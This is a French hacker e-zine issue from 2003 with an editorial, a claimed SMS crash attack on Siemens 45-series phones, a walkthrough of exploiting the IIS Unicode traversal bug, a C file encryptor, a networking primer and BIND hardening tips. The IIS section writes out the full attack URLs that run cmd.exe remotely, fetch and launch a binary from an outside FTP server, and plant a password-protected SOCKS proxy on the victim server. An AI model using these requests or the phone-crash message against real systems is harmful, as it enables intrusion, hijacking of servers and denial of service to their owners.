TDC - The Darkunderground Clan

*************************************************************
\\\\\\\\\\\\\\\\\\\\\\\\ooooooooo:::::DHS & TDC Mag's N°3:::::ooooooooo//////////////////////

Réaliser le 30/06/2003


**************************Contacts**************************
Rédacteur / Concepteur : A-bone => alex.bone@caramail.com
Rédacteur : Stigmata => se7en-up@caramail.com
***********************************************************

/////////////////////////////////////////////////////////////////////////////////////////////////
SOMMAIRE PROVISOIRE DU 3eme NUMERO.
/////////////////////////////////////////////////////////////////////////////////////////////////

1 - EDITO : TDC Mag N°3
2 - PHREAKING : CRASHING SIEMENS PHONES BUFFER OVERFLOW ( EXPLOIT TESTER ).
3 - HACKING : LA FAILLE UNICODE comment installer un proxy a distance ( EXPLOIT TESTER ).
4 - PROGRAMMATION : ENCRYPTEUR EN C
5 - SECURITE :
Protections contre l'exploitation des débordements de buffer (Part I).
/////////////////////////////////////////////////////////////////////////////////////////////////

=====================================================================
1. EDITO.
=====================================================================

Bon, cette fois, c'est (re)parti, l'aventure (re)commence. Les retours que nous avons eu sur le TDC Mag N°1 et 2 ayant tous été positifs, nous avons décidé de lancer le TDC Mag N°3 après 3 mois de silence, axé sur un esprit de sécurité, ce numéro assure une bonne dose d'information combiner entre la sécurité, hacking, programmation est phreaking a l'objectif de concentrer ici le maximum d'informations sur la fiabilité est la sécurité des systèmes d'exploitations connus, car la sécurité informatique concerne tous ceux qui emploient un ordinateur, du programmeur à l'utilisateur, tous les systèmes sont concernés, MacOS, Windows ou les divers Unix pour ne citer que les plus connus.

Nous suivrons ici cette même démarche. Avis aux W4rl0rDz[1] qui fleurissent sur Internet et téléchargent ce mag dans l'espoir de trouver comment pirater la banque de France : ne téléchargez plus ce mag (enfin, si, vous pouvez quand même ;) mais un conseil pour vous faire des économies nous ne donnerons pas la recette miracle clé en main pour pirater les comptes des grands FAI. En revanche, nous expliquons d'où vient le problème, comment cette vulnérabilité est exploitable (sans donner le programme pour le faire en trois clics de mulot).

Telle est notre démarche, et j'espère sincèrement qu'elle permettra à tous les acteurs - l'utilisateur, le programmeur, l'administrateur système ou réseau et surtout le décideur - d'accroître la sécurité des systèmes d'information.

Je vous laisse découvrir le sommaire et vous souhaite bonne lecture.

 

=====================================================================
2 . PHREAKING : CRASHING SIEMENS PHONES BUFFER OVERFLOW ( EXPLOIT TESTER ).
=====================================================================

Date : 02/06/2003
Auteur : A-bone
Sujet :
Crashing siemens phones buffer overflow .
Produit : Simens CORP .

Attention :
Ce mini tutorial n'incite pas à l'augmentation d'acte de piratage, il permet simplement la compréhension, et la méthode des techniques utilisé par
les Phreaker's de nos jour.

Je commence par dire que la série 45 des téléphones mobiles Siemens possède un bug très intéressant au niveau de la pile mémoire qui joue un grand rôle au niveau du ces téléphones et leurs systèmes pour effectuer des taches tel que l'agenda, heure, date, enregistrer des numéro sur la mémoire du téléphone et non la carte SIM etc...

L'exploit dont je vous parle je l'ai découvert par hasard en effectuant quelques essayes très simples et je me suis rendu compte qu'en envoyant un message bidon de quelque lignes du codes permet n'importe qui de faire crasher un phone de cette série en question, nous ne sommes pas des crasher mais il est intéressant de connaître ce type de de failles (BOF) alors let's go .


Problème :

Tout le monde sait que les téléphones cellulaire sont programmés en JAVA, et que il est assez facile de crasher un téléphone.
Il suffit d'écrire un programme puis de l'exécuter sur le téléphone cible, mais tout depant de la sécurité du téléphone ce qui n'est pas le cas pour la série 45 de siemens .

Exploit :


Il suffit d'envoyer un SMS contenant ce code :

% suivie de 157 . comme ceci:

Ou : % suivi de 157 charactère ( n'importe quel genre de charactére )


Lorsque la victime recevra le SMS son téléphone s'éteindra et, il ne s'allumera plus .

Solution :


Aucune solution à ce BOF car il efface la mémoire du cellulaire ,bien sur vous pourrez toujours l'envoyer a Siemens CORP qui vous le changera ou vous le "remboursera" .

 

...::: Crashing Siemens Phone Buffer Overflow By A-bone :::...

=====================================================================
3 . HACKING : LA FAILLE UNICODE comment installer un proxy a distance ( EXPLOIT TESTER ).
=====================================================================

Date : 07/05/2003
Auteur : A-bone
Sujet : Installation d'un proxy sur un serveur IIS distant .
Produit : IIS server .

Dans ce tutorial je vais presenter une technique assez peut connus , d'installation de proxy
sur un serveur IIS non patché ( failles unicodes ).

Information :
Le bug unicode a été decouvert par la société eeyes ( www.eeyes.com ), une instruction envoyée au serveur distant permet l'affichage d'un repertoire virtuel sur le serveur .
Apres l'execution de ce code voir le disque dur voullu , tel le c:\, d:\ etc .... ( comme j'ai expliquer dans le TDC Mag N°1 )

Application de la faille :

Pour trouver des serveurs Hackable par unicode rien de tel qu'un petit scaneur, telechargable partout sur internet .

Ma presentation ce porte sur une failles precise : /scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

Après avoir trouvé un serveur potentiel nous allons lancé la procedure instalation de notre serveur.

http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
Avec ce type d'attaque nous arrivons directement au disque dur c:\

Le but pour nous est de creer un repertoire d'acceuil et de copier le fichier cmd.exe

- Creation du repertoire :
http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+mkdir+c:\test
Une erreur type cgi doit vous apparaitre,

- maintenant on copie le fichier cmd.exe vers le repertoire test .
http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\test\cmd2.exe

la commande ci-dessous va nous permette de verifier si le fichier est bien copier cmd.exe est bien copier dans le repertoire test .
http://IPSERVEUR/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\test\

une fois la verification éffectué nous allons créer un fichier texte, celui-ci nous permettra de faire telecharger
au serveur distant le fichier qui nous est necessaire.

http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+open+Serveur anonym+21>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+Login+>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+password+>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+get+boundll.exe+>>+c:\test\1.txt
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+echo+quit+>>+c:\test\1.txt

Une fois c'est commande d'ajout de ligne dans le fichier 1.txt terminer, une petite verification s'impose.
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+type+c:\test\1.txt

vous devriez voir avoir ceci :
open Serveur anonym 21
user Login
password
boundll.exe
quit

Maintenant que notre fichier text est bon nous allons lancer le telechargement du fichier.
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+ftp+-i+-n+-v+-s:c:\test\1.txt

Ici si la barre de progression de chargement prend de temps a chargé c'est bon !!
Sinon ou vous avez fait une erreur ou le serveur distant est proteger par firewall.

La commande suivante permet de verifier l'upload de notre fichier

http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+dir+c:

Les commandes ci-dessous permettent de créer les paramettres de notre proxy, socks etc...
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+dir+c:\test\boundll.exe+--port+6668+--socks5+--daemon+--s_user+A-bone+--s_password+A-bone
Ou :
http://IPSERVEUR/scripts/..%255c../test/cmd2.exe?/c+c:\inetpub\scripts\boundll.exe+--port+6668+--socks5+--daemon+--s_user+A-bone+--s_password+A-bone

Voila dans mon exmple il nous restera plus qu'a ce connecter l'ip du serveur, port 6668 avec le login et mot de pass : A-bone


Pour infos voici quelques commandes permettant le paramettrage du proxy

Exemples :

§§ Configuration 1 : "boundll.exe --port 6668 --socks5 --daemon --s_user TEST --s_password TEST"

Ceci lancera le proxy sur le port 6668 et pour l'utiliser il faudra utiliser les login/pass: TEST/TEST

§§ Configuration 2 : "boundll.exe --port 6668 --socks5 --daemon --s_user TEST --s_password Proxy --a_port 6669 --a_user admin --a_password N41r0lF

Ceci lancera le proxy avec la même configuration que la Configuration 1 mais en plus, vous pourrez gérer à distance le proxy en vous tapant: http://ip.du.proxy:6669
l'administration à distance ne se résumé qu'à deux choses:
- connaitre les ip des personnes connectées sur le proxy,leur vitesse, et à quelle ip elles sont connectées
- stopper le proxy

le ficher : boundll.exe

Malgré que les méthodes d'exploit de la failles UNICODE son multiple notre groupe DHS essaye de toujours dévoiler des nouveauté de vous faire connaître quelque chose de réel quelque chose de vrais quelque chose tester , j'espère que c'est constructif et a la prochaines :)


Cordialement

...::: IIS UNICODE Exploit By A-bone :::...


=====================================================================
4 . PROGRAMMATION : ENCRYPTEUR EN C
=====================================================================

Date : 10/06/2003
Auteur : Nocte
Sujet :
ENCRYPTEUR EN C .

La programmation en C style BTS est soûlante, vous en conviendrez...
Alors, en considérant que vous connaissiez déjà les bases élémentaires
de programmation en C, on va s'intéresser à la pratique. Ainsi, voici un
programme que nous allons réaliser : un encrypteur en C que nous allons
décortiquer dans les moindres détails afin d'apprendre par la pratique
d'une part la méthode de programmation d'un logiciels (architecture de
celui-ci) et, d'autre part, des bases indispensables.


I. LE PROGRAMME
----------------

Commençons à étudier le programme : il commence par une série de #include
et puis par la fonction main:

#include "stdio.h"
#include "conio.h"
#include "dos.h"
void main(void)
{

Ceci est aussitôt suivi des déclarations des variables :
FILE *sourc,*dest;int code,verif,car=0,i,j,sur,oct;
char src[60],dst[60];struct date d;

struct n'est pas tout à fait un type de variable, c'est en fait une structure
de données : un groupe contenant plusieurs données. FILE est aussi une
structure mais contenant des informations sur le fichier (son handle, sa
taille, ses droits d'accès...) alors que date contient 3 données : jour,
mois, année ; celles-ci sont toujours appelées de la même manière (respectivement
da_day,da_mon et da_year). Mais comme elles sont comprises dans une structure,
pour les utiliser il faut utiliser le nom de la structure juste devant
avec un point. Ici le nom de la structure est d. Ensuite, nous avons les
premières fonctions d'initialisation :
getdate(&d);clrscr();

La fonction clrscr() définie dans conio.h sert à effacer l'écran alors
que la fonction getdate( struct date) permet d'initialiser une structure
date à la date actuelle, c'est à dire mettre dans da_day le jour, dans
da_mon le mois et dans da_year l'année.
Ensuite une petite routine permet de vérifier le millénaire actuel afin
de n'afficher la date qu'avec l'année sur 2 chiffres :

if(d.da_year<2000)
{d.da_year-=1900;}
else
{d.da_year-=2000;}
Ceci fait, le programme affiche quelques informations :
printf("\t\tEncrypteur\n");
printf("%d/%d/%d\n",d.da_day,d.da_mon,d.da_year);
On constate que lors de l'affichage de la date, les variables sont référencées
par d.da_day,d.da_mon et d.da_year...
Ensuite, une routine nous permet de demander le nom du fichier que l'utilisateur
souhaite encrypter :
get_name:
printf("Name of the file to encrypt or decrypt (with full path):\n");

scanf("%s",src);
sourc=fopen(src,"rb");
if(sourc==NULL)
{
printf("\aError opening file:(C)hange/(Q)uit\n");
ask_erase:
car=getch();
switch(car)
{
case 99:
goto get_name;
case 113:
goto end;
default:
goto ask_erase;
}
}

A l'aide de la fonction scanf(), nous récupérons le nom du fichier d'origine,
lui attribuons le pointeur de type FILE src via la fonction fopen(), puis
vérifions l'état du pointeur src. Si celui-ci vaut NULL, cela signifie
qu'il s'est produit une erreur lors du chargement du fichier Si c'est le
cas, nous demandons à l'utilisateur s'il veut ressaisir un nom ou quitter
le programme. Pour cela nous utilisons la fonction getch() combinées à
une structure conditionnelle switch() et_code:
code=0;verif=0;
printf("Entrez votre clé de cryptage:");
get_key:
car=getch();
switch(car)
{
case 13:
goto confirmation_code;
case 27:
clrscr();
printf("Etes-vou sûr ?(Y/N)");
ask_other:
switch(sur)
{
case 121:
sur=getch();
goto end;
case 110:
clrscr();
printf("Fichier à encrypter / décrypter:\n%s\n",src);

goto get_code;
}
goto ask_other;
default:
code +=car;
printf("*");
goto get_key;
}
confirmation_code:
printf("\nConfirmez votre clé de cryptage:");
reget_key:
car=getch();
switch(car)
{
case 13:
goto test_cod;
case 27:
clrscr();
printf("Etes-vous sûr ?(Y/N)");
re_ask:
sur=getch();
switch(sur)
{
case 121:
goto end;
case 110:
printf("\nFIchier à encrypter / décrypter:\n%s\n",src);

goto get_code;
}
goto re_ask;
default:
verif +=car;
printf("*");
goto reget_key;
}

Cette routine permet donc de stocker dans les variables code et vérification
la somme des codes ASCII des touches frappées par l'utilisateur en tant
que code. C'est une des failles du programme dans la mesure ou les mots
de passes "bc" et "ad" seront codés de la même manière
...
test_cod:
if(code==verif)
{
printf("\nOK...starting working");
goto encrypt;
}
else
{
clrscr();
printf("Erreur de confirmation de la clé de cryptage...");

code=0;verif=0;
printf("\nFichier à encrypter ou décrypter:\n%s\n",src);

goto get_code;
}
Cette routine permet de vérifier que le code rentré puis confirmé sont
bien les mêmes. Si c'est le cas, le programme poursuit l'exécution, sinon
il revient à la demande de code après avoir réinitialisé les variables.

encrypt:
printf("\nNOm du fichier encrypté / décrypté à générer (full path)
:\n");
scanf("%s",dst);
dest=fopen(dst,"rb");
if(dest!=NULL)
{
fclose(dest);
printf("Ce fichier existe déjà : (O)verwrite / (C)hanger son nom?");

re_ask2:
sur=getch();
switch(sur)
{
case 99:
clrscr();
goto encrypt;
case 111:
goto crypt;
default:
goto re_ask2;
}
}
Ce passage demande à l'utilisateur le nom du fichier vers lequel il veut
crypter ou décrypter le fichier source. Si celui-ci existe déjà, il lui
demande s'il désire l'effacer .Pour cela, nous essayons d'abord d'ouvrir
le fichier en mode lecture. Si le pointeur contient NULL, cela veut dire
que le fichier n'existe pas. Sinon, le fichier existe déjà. Pour la demande
à l'utilisateur, nous utilisons encore une structure conditionnelle switch().

crypt:
for(car=0;code<0;code+=256);
for(car=0;code>255;code-=256);
fclose(dest);
dest=fopen(dst,"wb");

Cette routine permet de préparer la procédure principale d'encryptage en
ouvrant le fichier destination et en préparant la clé de cryptage en la
remettant sur un octet c'est-à-dire entre 0 et 255 compris. Nous le faisons
au moyen de la structure conditionnelle for();
cryptage:
oct=fgetc(sourc);
if(feof(sourc))
{goto file_end;}
oct +=code;

for(sur=0;oct<0;oct+=256);
for(sur=0;oct>255;oct-=256);
oct=255-oct;
fputc(oct,dest);
goto cryptage;

Voici la routine d'encryptage : celle-ci consiste a lire un octet du fichier,
à y ajouter le code de l'utilisateur, à le rétablir sur un octet c'est-à-dire
entre 0 et 255 compris et à faire l'inverse bit-à-bit ce qui consiste à
soustraire la valeur à 255. Le résultat de cette soustraction est écrite
dans le fichier de destination. Si l'octet lu est le dernier, on quitte
la rutine d'encryptage sinon on continue. Les fonctions fgetc() et fputc()
permettent de respectivement lire et écrire un octet dans un fichier.
file_end:
clrscr();
fcloseall();
Cette série de 2 instructions permet d'une part d'effacer l'écran mais
aussi de fermer tous les fichiers ouverts grâce à fcloseall(). Ceci est
très important dans la mesure ou les données ne sont écrites sur le disque
qu'après fermeture des fichiers .
printf("Delete old file: %s (y/n)?",src);
re_ask3:
i=getch();
switch(i)
{
case 121:
sourc=fopen(src,"rb");
fputc(0,sourc);
fclose(sourc);remove(src);
goto pre_end;
case 110:
goto pre_end;
default:
goto re_ask3;
}

Ici, nous demandons à l'utilisateur s'il souhaite effacer le fichier source.
Si c'est le cas, nous n'allons pas directement effacer moyen de la command
remove(). En effet, celle-ci ne protège pas contre les programmes comme
undelete qui permettrait de retrouver le fichier . Nous allons d'abord
l'ouvrir en écriture de manière à effacer son contenu puis nous y écrivons
juste un octet nul , nous le refermons et l'effaçons ensuite avec remove.
Il est toujours accessible via undelete mais on accède à un fichier vide.

pre_end:
printf("\nFin du cryptage...\nAutre fichier à encrypter / décrypter
(Y/N)?\n");

re_ask4:
car=getch();
switch(car)
{case 121:
oct=0;goto get_name;
case 110:
goto end;
default:
goto re_ask4;
}
end:
clrscr();
printf("\t coded by Nocte\
\n\tAll rights reserved Juin 2003");
fcloseall();
}


Alors, ça vous a plu ? Voilà ce programme fini. Ne vous inquiétez pas,
nous irons plus loin la prochaine fois et développerons les points qui
vous auront parus obscurs : pour cela, n'hésitez pas, balancez vos soucis
sur le forum. J'espère que cet article vous aura appris des choses intéressantes.


++
Nocte / DHS


-------------------------------------
ETUDES DE PROTOCOLES - POUR LES NULS
-------------------------------------
Les machines ne communiqueront pas uniquement parce qu'on a conçu un réseau,
tirer des câbler et mis à jour les fichiers de configuration! Nous allons
ici étudier les protocoles, que l'on peut définir comme un ensemble de
régles (dans le but de faire communiquer deux machines ou plus).
Avant cela, révison des notions fondamentales.

PARTIE 1 : INTRODUCTION

I. ARCHITECTURE DES RESEAUX, PROTOCOLES ET SERVICES
----------------------------------------------------
Afin de communiquer sur un réseau, les machines utilisent un ensemble
de règles, conventions, appelées "protocoles". Compte tenu de
leur complexité (et si l'on se base sur le principe de modularité), les
protocoles ont une structure en couches afin de faciliter et contrôler
leurs implémentations. Cela a pour principal atout d'isoler les différents
protocoles : tout changement introduit dans l'un de ces protocoles n'affecteront
donc par les fonctionnalités des autres.
Ce modèle offre des interfaces entre les différentes couhes afin de
permettre aux protocolesd'une couche donnée d'interagir avec ceux des couches
qu'il lui sont directement adjacentes. Ces interfaces sont conventionnelles.
Cela a pour avantage que si deux protocoles de deux couches différentes
ont une structure internes totalement différentes (car différents contructeurs,
etc.), ils pourront quand même communiquer ensemble car leur interface
est générique : on élimine donc d'emblée les éventuels problèmes d'incompatibilité.
Chacune des couches s'appuie sur des services offerts par une couche
inférieure et vise à offrir ses services à la couche qui lui est supérieure.

II. MODELE OSI
---------------
L'ISO (International Standards Organization) est un organisme de standardisation
qui a défini une architecture normalisée pour les réseaux : le modèle OSI
(Open Systems Interconnection). C'est donc le modèle ISO OSI;) Elle est
décomposée en 7 couches (nous n'en reparlerons pas, le modèle OSI a déjà
été cité x fois dans THJ) : la couche physique, la couche liaison de données
(divisée en deux sous-couches : MAC (Medium Access Control) et LLC (Logical
Link Control), la couche réseau, la couche transport, la couche session,
la couche présentation et la couche application.
Etudions maintenant le but de cet article, les protocoles.
NB: Nous excepterons ici l'étude de la couche physique (qui comprend les
paramètres électriques du médium etc.) et la couche 2, peut intéressante
dans cet article (notons que le protocole utiliser pour la couche 2 est
CSMA/CD (norme ISO 802.3)).


III. LE PROTOCOLE ARP
--------------------
Le protocole ARP (Address Resolution Protocol) permet à une machine
A de trouver, si elle existe, l'adresse Ethernet d'une autre machine B,
connectée sur le même réseau, en donnant uniquement l'adresse Internet
de celle-ci. SOn rôle est de masquer l'adresse physiques des machines
aux pplications opérant à un niveau supérieur pourqu'elle ne manipule que
les adresses Internet. A l'opposé, le protocole RARP (Reverse-ARP), sert
à retrouver l'adresse Internet d'une machine du réseau dès lors que l'on
a son adresse Ethernet (ce qui peut être intéressant pour booter une machine
via le réseau par exemple). On notera que l'utilisateur n'a pas accès à
ces deux protocoles mais le protocole IP les utilise quand il en a besoin.

III. LE PROTOCOLE IP
---------------------
Gardons à l'esprit la différence en un réseau local LAN et un réseau
étandu WAN (bien qu'on regroupe souvent ces deux expressions sous le terme
générique "réseau". Un LAN regroupe un ensemble de machines géographiquement
proche (aussi appelé "réseau d'entreprise") relié par un câble
physique : c'est le cas d'un réseau Ethernet. Un WAN est un amas de LAN
interconnectés entre eux.
Ainsi, le protocole IP permet au couches supérieures de faire abstraction
de l'ensemble des LAN qu'il faut parfois traverser pour acheminer un paquet
dans un WAN. Ces couches supérieures n'ont donc pas à se soucier du trajet
que les paquets doivent suivre : pour elles, la liaison est directe. Cette
gestion des routes dans un WAN est appelé "routage". En outre,
les LAN qui forme le WAN peuventn utiliser des protocoles et des trames
différents (ils sont alors dits "hétérogènes"). Le protocole
IP aura alors pour but de découper, puis réassembler ces paquets (ce mécanisme
est appelé "fragmentation")..
Le service principal offert par IP est l'émission et la réception de
paquets de données appelés "datagrammes". Ce service est dit
"non fiable" dans la mesure où la perte/altération d'un paquet
pendant son transport ne génère aucun mécanisme permettant de récupérer
ces erreurs. Les protocoles TCP et UDP se basent dessus.
Je ne redonnerais pas l'entête d'un paquet IP, déjà expliqué en détail
par Redils dans le Manuel 7 (Raws Sockets, Part 1).

IV. LE PROTOCOLE ICMP
-----------------------
IP offre un service non fiable, nous l'avons dit. Si donc un paquet
est perdu ou qu'une anonmalie se produit au niveau des fonctionnalités
de IP, celui-ci ne rapporte aucune information quant à l'erreur.
Afin de parer à cette faiblesse, les concepteurs ont introduit dans
la famille des protocoles TCP/IP un mécanisme appelé ICMP (Internet Control
Message Protocol). Sa fonctionnalité principale est de rapporter, à la
station émettrice du paquet, les erreurs qui peuvent se produire au niveau
IP. Ainsi, s'il arrive que le protocole IP n'arrive pas à remplir son rôle
correctement, il l'indique au protocole ICMP qui émet alors un parquet
à destination de la station source notifiant la nature qui informe le protocole
IP de l'occurence de cette erreur. Ce dernier avisera alors. ICMP est aussi
utilisé pour tester un réseau.
Il existe une douzaine de type de messages ICMP et chacun est encapsulé
dans un paquet IP. Les plus couramment utilisés sont :
- ECHO REQUEST & ECHO REPLY sont utilisés pour voir si une destination
donnée(une station) est accessible et opérationnelle. A la réception d'un
message ECHO REQUEST, le destinataire doit répondre ECHO REPLY. (le premier
est un ping et le seconde un pong (réponse à un ping)).
- DESTINATION UNREACHABLE est généré quand le protocole IP ne sait pas
comment joindre la station à qui est destiné un datagramme (quand, par
exemple, il n'y a pas de réponse, du protocole ARP).
- SOURCE QUENCH est utilisé pour "brider" des stations qui envoient
un trop grand nombre de datagrammes. A la réception de ce message, la station
devrait modérer sa cadence d'émission des datagrammes (une sorte d'anti-flood).
- TIME EXCEEDED est envoyé quand un datagramme à son TTL 5Time To Live,
osn compteur) à zéro : il est donc détruit par le routeur par lequel il
transite. C'est un tout bête time out.
- PROBLEM PARAMETER indique qu'une valeur illégale a été détectée dans
un champ de l'entête d'un datagramme.
En ce qui concerne le mécanisme de fragmentation des paquets IP, si
la machine a laquelle sont envoyés les datagrammes ne possède pas un mécanisme
de réassemblage au niveau IP, il faut interdire la fragmentation des datagrammes
qui lui sont destinés. Le flag DF (Don't Fragment) est utilisé à cet effet
: positionné à 1, la fragmentaiton est interdite pour les routeurs suivants.
Il se peut alors qu'il soit impossible d'acheminer un paquet.


PROTOCOLE DE COUCHE 4 => TCP/UDP
---------------------------------
V. LE PROTOCOLE TCP
--------------------
Le service offert par TCP (Transmission Control Protocol) peut être
comparé au téléphone : quand vous téléphonez à quelqu'un, le dialogue ne
peut s'instaurer qu'à partir du moment ou l'interlocuteur décroche son
combiné et dit "Allo" (la connexion est alors rétablie) : on
peut dialoguer.
Un protocole offrant un tel service est dit "orienté connexion"
: cela signifie que si deux processus veulent s'échanger des données par
TCP, ils doivent préalablement établir une connexion virtuelle. Une fois
celle-ci établit, le TCP garantit que toutes les données envoyées par le
premier processus seront reçues sans la moindre erreur par le deuxième
: on aura donc aucune perte ni modification de données lors du transit.
En outre, TCP garde l'ordre des données : elles arrive de manière séquentielle.
utre cela, le service offert par TCP possède la caractéristique d'être
de type "byte-stream" (flux d'octets): si le premier processus
envoi 5 puis 15 caractères, ceux-ci peuventêtre récupérés de différentes
manières par le processus distant :
- un lecture de 20 caractères
- deux lectures de 10 caractères
- deux lectures de 7 et une lecture de 6 caractères...
Par conséquente, il n'y a pas de découpage fixe dans le flux de données
véhiculées.
A noter qu'un même processus peut gérer simultanément plusieurs connexion
TCP (il peut, par exemple, ouvrir deux connexions avec deux processus s'exécutant
sur deux machines différentes).

Voici son entête:
-------
SCHEMA1
-------
Le champ Code bits est composé des 6 flags : URG, ACK, PSH, RST, SYN, FIN.
Sémantique des champs:
- SOURCE PORT ET DESTINAITON PORT : no comment.
- SEQUENCE NUMBER et ACK NUMBER Sont utilisés pour le séquencement et le
contrôle d'erreur des données (le flag ACK indique si le champ ACK NUMBER
contient une valeur valide).
- HLen indique la taille du header TCP en mots de 4 octets (la taille de
la socket TCP ets variable : elle peut être complétée par une ou plusieurs
options de 4 octets chacunes).
- CHECKSUM est la somme de contrôle.
- URGENT POINTER (flag URG) est utilisé pour le transport de "données
urgentes" (le flag URG indique si le champ URGENT POINTER contient
une valeur valide).
- les flags SYN et FIN sont utilisés pour l'établissement et la fermeture
des connexions virtuelles.
- le flag RST sert à signaler au destinataire une demande de re-initialisation
des connexions qui sont dans un état incertain (SYN dupliqués, panne...)
- le flag PSH : on ne l'étudiera pas.
- le champ WINDOWS est utilisé par le contrôle de flux.

VI. LE PROTOCOLE UDP
--------------------
Le service offert par le protocole UDP peut être comparé à celui offert
par la poste : quand vous postez une lettre, et si vous demandez le tarif
habituel, il peut arriver qu'une lettre se perde. Par ailleurs, il se peut
qu'elle arrive à destination après une autre lettre qui avait pourtant
été postée après elle... Pareillement, deux processus peuvent aussi utiliser
le protocole UDP pour s'envoyer des données. Avec UDP, aucune conneixon
préalable n'est nécessaire, mais, à l'inverse de TCP, UDP ne donne aucune
garantie quant à la qualité du service proposé : des données peuvent être
perdues, arriver dans le désordre, éventuellement modifiées... C'est à
l'utilisateur d'éventuellement effectuer ces contrôles. UDP est très différent
de TCP par sa fonction : il véhicule des paquets de données (alors que
TCP véhicule un flux de données). Ainsi, si un process envoi 5 puis 15
caractères par UDP, le process distant ne pourra les lire qu'en deux paquets
séparément. Ainsi, l'unité d'information avec UDP est le MESSAGE ; avec
TCP, c'est L'OCTET.

Une question peut se poser : pourquoi un process choisirait le protocole
TCP ou UDP. Les criètres de sélection dépendant évidemment des caractéristique
de TCP et UDP. Par exemple, si l'on veut absolument un communication fiable
à 100%, on préfèrera TCP... On prendra aussi en compte le type de données
échangées. AInsi, le protocole UDP sera plus adpaté pour un process serveur
dont les messages sont de types "REQUEST-REPLY". Par contre,
un transfert de fichier étant assimilé à un envoi de flux d'octets, on
choisira plutôt TCP pour une telle communication.

Finalement, quant au protocole UDP, retenons qu'il ne garantit pas une
communication fiable et l'unité de transfert est le paquet de données.

VII. VOILA
-----------
J'espère que cet article qui reprenait, pour les newbie, les protocoles
de communication vous aura été fort utile. Il est, certes, bien incomplet
sur certains points et parfois très superficiel, mais, e pense qu'il constituera
une très bonne base pour ceux voulant avoir un vision global des ces protocoles
avant un éventuel approfondissement. Pour tout question, n'hésitez pas,
lâchez vous sur le forum.


++
Nocte


---------------------------
SECURISATION DU DEMON BIND
---------------------------

Cet article est destiné aux particuliers et administrateurs systèmes
qui souhaitent protéger leur serveur d'un point potentiellement vulnérables
: le démon BIND.

Ce démon est utilisé par plusieurs distributions Linux et fournit le
service des noms de domaines DNS. Etant donné sa complexité de structure
et de configuration, multiples failles y ont été découvertes. C'est pour
cela qu'il est courant aujourd'hui d'opérer dans un environnement chrooté
(le chroot est un peu comme une prison ou un pirate ne peut pas s'échapper).

Cet article vous serez sérieusement utile si vous deviez fournir un type
d'accès quelconque au port DNS sur une interface de réseau externe.

1. SECURITE DE BIND AVANT CHROOT()
-----------------------------------

Avant d'appliquer un chroot named, il faut surtout maintenir à jour vos
paquetages BIND. Parfois, les patchs s'enchaînent lors de découvertes de
failles successives. Soyez donc prudent si votre socket BIND est ouvert
aux hôtes sur une interface de réseau externe.

BIND communique via TCP (pour de grandes requêtes) et UDP (pour les moins
grandes requêtes). Il va falloir y penser lors du filtrage de paquets avec
ipchains ou iptables.
Voici une forme générale de ipchains :
Ipchains -A input -p tcp -s 100.100.100.100/24 \
-d int.ip.number.here domain -j ACCEPT
Ipchains -A input -p udp -s 100.100.100.100/24 \
-d int.ip.number.here domain -j ACCEPT
Ipchains -A input -p tcp -s trusted.ext.system.ip \
-d ext.ip.number.here domain -j ACCEPT
Ipchains -A input -p udp -s trusted.ext.system.ip \
-d ext.ip.number.here domain -j ACCEPT
ipchains -A input -I ! lo \
-d ext.ip.number.here domain -j DENY -l
Pour iptables, je ne refais pas le filtrage de port DNS, c'est presque
identique, juste pour la syntaxe, le premier filtrage donne :
iptables -t filter -A INPUT -p tcp -s 100.100.100.100/24 \
-d int.ip.number.here -desnation-port domain \
-j ACCEPT
et la dernière requête, spéciale, donne :
iptables -t filter -A INPUT -i ! lo \
-d ext.ip.number.here -j DROP
Notez que cette dernière commande élimine par filtrage tous les paquets
non exceptés précédemment. Elle doit toujours être unique et présente en
fin de filtrage.

Autre point important : le fichier named.conf. C'est un vrai El-Dorado
pour un cracker.
D'abord, il faut empêcher BIND de révéler l'information concernant sa version
quand un tiers l'interroge car cela représente 50 % du travail du pirate
(90 % si le système est Windows, car il est bourré de bugs ;). Donc, dans
la section option, il faut avoir :
Options {
Version "Désolé, le numéro de la version n'est pas disponible.";
};

Ensuite, ce fichier impose les contrôle d'accès. Voici les items dans cette
zone, à vous de choisir après :
- allow_query : détermine quels hôtes (ou réseaux) auront la permission
de recevoir des requêtes ordinaires auprès de ce serveur.
- allow_transfer : détermine quels hôtes (ou réseaux) auront la permission
de recevoir des transferts de zone à partir de ce serveur.
- allow_recursion : détermine quels hôtes (ou réseaux) auront la permission
de faire des requêtes répétitives auprès de ce serveur.
- allow_updates : détermine quels hôtes (ou réseaux) auront la permission
de soumettre des MaJ dynamiques de DNS à ce serveur.
- blackhole : détermine quels hôtes (ou réseaux) seront empêchés d'obtenir
une communication quelconque avec ce serveur.
Permettre allow_transfer est très délicat: un pirate pourrait mapper votre
réseau. d'une manière général, un type de réglages assez judicieux pourrait
être :
Options {
Version "Désolé, le numéro de la version n'est pas disponible.";
Allow_query {
Localhost;
};
allow_transfer {
none;
};
allow_recursion {
none;
};
};

Ainsi, les requêtes générales provenant du localhost seront permises. A
l'inverse, les requêtes répétitives ou transfert de zone sont tous refusés.
On peut aussi utiliser des spécificateurs de contrôles d'accès (dans les
accolades), au lieu d'utiliser les valeurs par défaut dans une zone de
donnée. Les plus usuels sont :
- any : aucun contrôle d'accès (accès de n'importe quel hôte depuis n'importe
où).
- None: tout accès interdit (accès a aucun hôte, peu importe où il est).
- Localhost: permet l'accès à l'hôte local.
- Localnet : permet l'accès aux hosts ayant une interface matérielle avec
le localhost.
- X.X.X.X:permet l'accès aux hosts ayant ce numéro d'IP
- X.X.X.X/X permet l'accès au réseau ayant le spécificateur réseau/masque
